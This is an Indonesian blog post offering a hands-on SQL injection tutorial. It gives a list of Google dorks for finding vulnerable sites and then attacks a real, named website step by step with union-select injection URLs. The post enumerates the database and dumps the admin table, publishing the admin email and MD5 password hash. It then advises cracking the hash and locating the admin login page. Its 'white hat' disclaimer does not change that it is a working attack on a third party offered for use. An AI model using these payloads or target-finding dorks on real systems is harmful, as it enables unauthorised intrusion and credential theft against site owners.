Minggu, 08 Desember 2013

Hack With SQL Injection Manual

SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter : 

id=$id;……. > Got Error

Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.


Contoh : 

http://situstarget.com/news.php?id=1’ 
http://situstarget.com/news.php?id=’1

Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.
Dork SQLi :



inurl:azerty.php?id= ,
inurl:bouquin.php?id= ,
inurl:lien.php?id= ,
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
Cara pakainya : copy saja salah satu diatas pastekan di google dan cari targetnya
Disini saya sudah menemukan targetnya : http://www.radiesse-voice.com/pages.php?id=15


Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.

http://www.radiesse-voice.com/pages.php?id=15+order+by+1-- < No Error
http://www.radiesse-voice.com/pages.php?id=15+order+by+2-- < No Error
http://www.radiesse-voice.com/pages.php?id=15+order+by+3-- < No Error
http://www.radiesse-voice.com/pages.php?id=15+order+by+4-- < No Error
http://www.radiesse-voice.com/pages.php?id=15+order+by+5-- < No Error [Terlalu banyak diSkip aja]
http://www.radiesse-voice.com/pages.php?id=15+order+by+7-- < No Error

 
Pada angka 8 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 7.


Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:

http://www.radiesse-voice.com/pages.php?id=-15+union+select+1,2,3,4,5,6,7--




Disini bisa kita lihat bahwa angka yang muncul yaitu 3.Angka tersebut nantinya yang akan kita masukkan perintah-perintah selanjutnya.


Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://www.radiesse-voice.com/pages.php?id=-15+union+select+1,2,@@version,4,5,6,7--


Nah pada gambar kita bisa lihat versi database yang dipake adalah 5.0.27-community, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.

Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://www.radiesse-voice.com/pages.php?id=-15+union+select+1,2,group_concat(table_name),4,5,6,7+from+information_schema.tables+where+table_schema=database()--

Disitu kita dapatkan nama-nama tabelnya sperti : rad_admin,rad_news,rad_page, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabel rad_admin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada.
 Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel rad_admin harus dikonversi dulu ke bentuk decimal. Silahkan sobat gunakan toolsnya DISINI atau DISINI | caranya : ketikan saja nama tabel yang akan dikonversi, jika sudah klik konversi. kemudian hasil konversi rad_admin adalah 114 97 100 95 97 100 109 105 110  lalu kita masukkan ke CHAR(114 97 100 95 97 100 109 105 110 ) dan pisahkan dengan koma. jadi perintahnya seperti berikut:

http://www.radiesse-voice.com/pages.php?id=-15+union+select+1,2,group_concat(column_name),4,5,6,7+from+information_schema.columns+where+table_name=CHAR(114,97,100,95,97,100,109,105,110)--

Nah disitu muncul kolom admin_id,admin_email,admin_pass,admin_passo. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(admin_id,,0x3a,admin_email,0x3a,admin_pass,0x3a,admin_passo) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah  +from+rad_admin--, rad_admin merupakan tabel yang kita dapatkan tadi, nama tabel yang tadi dikonversi.

http://www.radiesse-voice.com/pages.php?id=-15+union+select+1,2,group_concat(admin_id,0x3a,admin_email,0x3a,admin_pass,0x3a,admin_passo),4,5,6,7+from+rad_admin--

Nah kan udah keliatan username dan passwordnya.
dari gambar muncul data :
1:admin@radiesse.com:f97c5d29941bfb1b2fdab0874906ab82:one selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini. Selanjutnya tinggal mencari halaman logginnya.

Cari admin pagenya, biasanya dengan menambahkan tulisan berikut di akhir url web target.
/admin/ , /administrator/ , /webadmin/ , /adm/ , /webbase/
Contoh : www.site.com/admin/
Nah isikan username dan password yang tadi di dapat.Dan gunakanlah dengan bijak

Note : Ini hanya untuk pengetahuan saja, jangan untuk macam-macam , salam White Hats Hacker

Tidak ada komentar:

Posting Komentar

 
Cyber Under Network © 2011 Templates | uzanc